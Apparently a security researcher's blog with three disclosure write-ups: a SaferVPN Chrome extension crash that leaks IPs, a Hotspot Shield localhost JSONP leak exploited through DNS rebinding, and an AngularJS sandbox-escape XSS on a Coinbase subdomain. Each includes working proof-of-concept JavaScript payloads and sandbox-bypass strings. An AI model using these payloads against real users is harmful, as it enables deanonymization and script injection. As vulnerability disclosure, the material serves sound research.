SaferVPN CVE-2018-10308, from DoS to deanonymization

3:44 AM


TL,DR; After my last month's finding in Hotspot Shield, I decided to look at and audit more VPNs to see how many of the major VPN vendors are vulnerable to information leakage. Together with File Descriptor, we decided to look at 3 random major VPN clients to see what we can find. Our research was supported by the privacy advocate vpnmentor.

We initially selected PureVPN, Hotspot Shield, and Zenmate as pilot targets and went ahead with the research. what we've found surprised us: of all 3 vpn's we've tested, we've discovered all of them leak sensitive data.


The vulnerabilities would have allowed governments, hostile organizations, or individuals to identify the actual IP address or DNS of a user, and in some cases hijack the user's traffic. While Zenmate’s leak was somewhat minor compared to the two other VPNs, its still important. You can find the details of the vulnerabilities found here, here or here.


The fact that we found leaks in all the VPNs that we tested is worrying, and led us to believe VPNs may not be as safe as many may think. This opened doors for further research.
Our guess is that most VPNs have similar leaks and that users should take this into consideration when using VPNs.

Details

In this blog post, I will explore a vulnerability I found in SaferVPN Chrome Extension. the vulnerability, CVE-2018-10308 as simple as it is, should help malicious actors retrieve vital information such as IP addresses when a user visits a website.


When a series of simultaneous requests to a nonexistent server is sent, the VPN extension easily crashes, letting us leak real user IPs, DNS and other details which the VPN is suppose to hide.


This is a weird bug, as I didn't know chrome extensions could be dosed until now. I've tried putting breakpoints through the extension's debugger to see what is causing it and they seem to intentionally kill the extension when it resolves many non existent dns queries.


Here is a PoC that works on versions before 3.1.10

<script type="text/javascript">  
  var head = document.getElementsByTagName('head')[0];  
  var img = document.createElement('img');  
  img.src= "https://nonexistant.nonexistant.nonexistant";  
  function kill(){  
   for(var i=0;i<12;i++){  
    head.appendChild(img);  
    }
  }
  kill();  
  window.onload = setTimeout(function () {  
   var webService = "https://freegeoip.net/json/";  
     var script = document.createElement("script");  
     script.type = "text/javascript";  
     script.src = webService+"?callback=MyIP&format=jsonp";  
     document.getElementsByTagName("head")[0].appendChild(script);  
   }, 9000);   
  function MyIP(response) {  
    document.getElementById("ipaddress").innerHTML = response.ip;  
  }
</script>  
<div id = "ipaddress"></div>



Timeline

Thu, Mar 29 - contacted SaferVPN
Thu, Apr 19 - patch live.

You can write to me here if you'd like to talk about funding similar research.




Hotspot Shield CVE-2018-6460, Sensitive Information Disclosure with XSSI & DNS Rebinding

1:07 AM


Lately, I’ve been interested in VPN clients. I was focusing my research on paid commercial VPN clients with 2M+ installs. one of the clients that stood out was Hotspot Shield, with similar builds on Android, Windows and Chrome. With each carrying over 3M+ installs worldwide.


While analyzing this application, I noticed its riddled with bugs that allow sensitive information disclosure. In this blog post, I will explore how it is possible to leak a user’s data, such as what wifi they are connected to while they are using Hotspot Shield.

Update Feb 8th, 2018: Hotspot Shield have released a patch that fixes these issues in version 7.4.6.

Details

Hotspot Shiled when turned on runs its own web server to communicate with its own VPN client. The server runs on a hardcoded host 127.0.0.1 and port 895. It hosts vital JSONP endpoints that return multiple interesting values and configuration data.

for example, http://localhost:895/status.js generates a sensitive JSON response that reveals whether the user is connected to VPN, to which VPN he/she is connected to what and what vpn network they are connected to, their country, network (wifi) name other information. There are other multiple endpoints that return sensitive data including configuration details.

$ curl -si http://127.0.0.1:895/status.js
HTTP/1.0 200 OK

{
“connect_state": "CONNECTED",
"daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"}

}

While that endpoint is presented without any authorization, status.js is actually a JSON endpoint so there are no sensitive functions to override, but when we send the parameter func with $_APPLOG.Rfunc, it returns that function as a JSONP name. We can obviously override this in our malicious page and steal its contents by supplying a tm parameter timestamp, that way we can provide a logtime.


$_APPLOG.Rfunc({
“connect_state": "CONNECTED",
"daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"

}})

However, many might say this attack is limited to LAN because of the address of the server, but this is where pull out an attack called dns rebining. In a DNS rebinding, any website can simply create a dns name that they are authorized to communicate with, and then make it resolve to localhost or 127.0.0.1 (making it accessible from the WAN) -- I suggest you to read Tavis Ormandy’s bug on Blizzard here.
You can use https://lock.cmpxchg8b.com/rebinder.html to generate a host name for use. You can alternate between 127.0.0.1 and 191.241.34.54 for example.

Similiar to Tavis’ post we now do the following to check,

$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 191.241.34.54
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1

After the cache responses expire, the resolution will alternate between those two IP addresses and our binded ip address can steal the sensetive response with the following payload.

<script>
var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
   alert(JSON.stringify(leak));
}
</script>
</head>
<script>
   var head = document.getElementsByTagName('head')[0];
   var script = document.createElement('script');
   script.id = 'jsonp';
   script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());
   head.appendChild(script);
</script>

Timeline

Mid November - multiple attempts to contact AnchorFree and HSS engineers.
Tue, Nov 28, 2017 - contacted Beyond Security's SSD for assistance with disclosure.
Sat, Jan 27, 2018 - beyond security confirms they've got neither a response nor an ETA for a fix.
Tue, Jan 30, 2018 - public disclosure as an SSD advisory (0day)
Wed, Jan 31, 2018 - CVE-2018-6460 assigned.
Wed, Feb 7th, 2018 - patch released with version 7.4.6






Coinbase AngularJS DOM XSS via Kiteworks

8:45 AM



In this post, I will explore a dom based angular XSS I found in Coinbase and explain why the AngularJS bypass actually executes client side code.
AngularJS is a popular JavaScript framework that allows embedding expressions within double curly braces. For example, the expression {{2+2}} will render as 4, In angular, you can also use $eval('1+1') to evaluate anything, its same as {{1+1}}
We could try providing user-input of {{alert('hi')}}, but that would be blocked by Expression Sandboxing. that might seem like we are safe. However, despite appearing as a security feature, it was not really supposed to be for sandboxing anything for security.
The subdomain of coinbase, filetransfer.coinbase.com was running a service called Kiteworks that is developed by Accellion. by using angular.version on the site, we can see it's running AngularJS 1.4.7.
So lets submit {{alert('hi')}} and see why Angular doesn't execute the code. In earlier versions of AngularJS (<=1.0.8) , the bypasses were simpler.
Assume an Object a with properties b and c. (a = { b: 1, c: 2 }) -- we can check a has the property b by using the function hasOwnProperty('b') which shall return true. and a has automatic magic functions like toString() so functions are just properties of an object. which can be accessed using a.toString() or a["toString"](), in angular, the getterFn function creates a new function which tries to check the property alert from object before execute it.
As you may know getterFn creates a function that tries to get the property alert of the object. and Angluar got a scope that predefines everything that should be valid or not.  so accessing the scope of Angular with alert scope.hasOwnProperty('alert') shall return false or in angulars case becomes noop; which is just an empty function.  so basically, get property, understand and parse the evaluation and check scope and call it as a function.
This javascript sandbox will link {{document.window}} to scope.document which shall return false, {{document.confirm}} as scope.confirm, which is also false. something like {{name}} would be evaluated if it's known by the scope. which basically means we can't access global functions.
In earlier Angular versions,  breaking out of the scope object was not very complicated because the scope object is like any other javascript object. it automatically got magic functions like constructors. and the constructor of a scope object is object constructor.
As you probably have figured out, the constructor of the object constructor is a Function, which is the highest constructor in javscript. and we can create an arbitrary javascript function using the constructor, which will call a new javascript function. and we will get an alert by calling the highest constructor with an alert. we are simply doing:
scope.hasOwnProperty('constructor') -- evaluating true, which means by using constructor of the constructor of any object, we should be able to create a function with alert and execute that.
Angualr < =1.0.8: scope.constructor.constructor("alert(0)")() equivalent to {{constructor.constructor("alert(0)")()}} as each object gets attached to the scope anyways.
This was a clever and simple way found by Mario Heiderich to bypass the sandbox.
Now notice this payload is fixed and doesn't work on Angular 1.4.7, sending the payload and debugging and we can see that angular refuses to work with a function constructor.
As a fix and feature, Angular implemented lexical analysis, which is the process of converting a sequence of characters into a sequence of tokens, used in the process of compiling.
AngularJS implements a compiler that takes an angularjs expression and complies it to real javascript. A compiler in angular, compiling expressions to javascript. It uses the lexer function parser as a string and extract tokens (identifiers) from it using the while loop below.
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
while (this.index < this.text.length) {
  var ch = this.text.charAt(this.index);
  if (ch === '"' || ch === "'") {
The while loop iterates the full length of the text, and in each iteration it uses text.CharAt() to get the next character of the string. And checks for single or double quotes because those are usually the start & end of a string. And after that the lex is just a load of helper functions trying to compile and help the lex and return an array of tokens.
If we try accessing the tokens after compiling, (this.tokens) they are just objects. the first one (this.tokens[0]) is the first character string because it’s a fixed string (text) if it starts with a quote or double quote. we can then use an identifier (another token) of the string.
Now notice while running the earlier sandbox bypass it doesn’t work and if you debug it you can see the error is coming from a new function called ensureSafeObject:
function ensureSafeObject(obj, fullExpression) {
...
 if (obj) {
if (obj.constructor === obj) {
This is a clever way to check if the param coming as obj is the function constructor which means we will keep ending up in the function of what we are accessing instead of the highest object despite how many constructors we add.
Note that every string we use is a decedent from the String() object. As prototype in javascript can be used to refer to the actual method or function that is inherited to all string objects.  If we access a string's constructor prototype, it will give us access to the String constructor.


By accessing a string's constrcutor, ('a'.constructor) we will call ensureSafeObject to check if the value is safe, and since it’s a string constructor, it is considered safe which will bypass ensureSafeObject.
We can then access the string constructor's prototype to access the main constructor. Defeating the whole purpose of angular's safechecks. We can then access the charAt the String constructor with a value that doesn't exist and assign it a built in conjuction function (join, concat...) which will also call ensureSafeObject as a text(string) consturctor, it is safe yet again. Then angular assigns that to an object using ensureSafeAssignContext. Since the checks are done using charAt, we would need to break it and redefine it to our own prefered unity function to chain our required payload.
We can reference the charAt function to all the other javascript functions inherit and assign a variable or function. We then can try to crash or redefine the charAt function because Angular uses charAt multiple times while calling checks and assigning expressions before compiling.
Final bypass: {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} by @garethheyes


Kiteworks, implemented by Coinbase was evaluating user-names sent with post using Angular. Which caused this AngularJS DOMXSS in https://filetransfer.coinbase.com




P.S: in the video, you can see a different sandbox bypass payload, this is because after initial report, they just updated the AngularJS version from 1.2.7 (when I recorded) to 1.4.7 as a fix but that one is also bypassed.

Angular starting from 1.6 have stopped the sandbox and one can easily break out of it using multiple ways.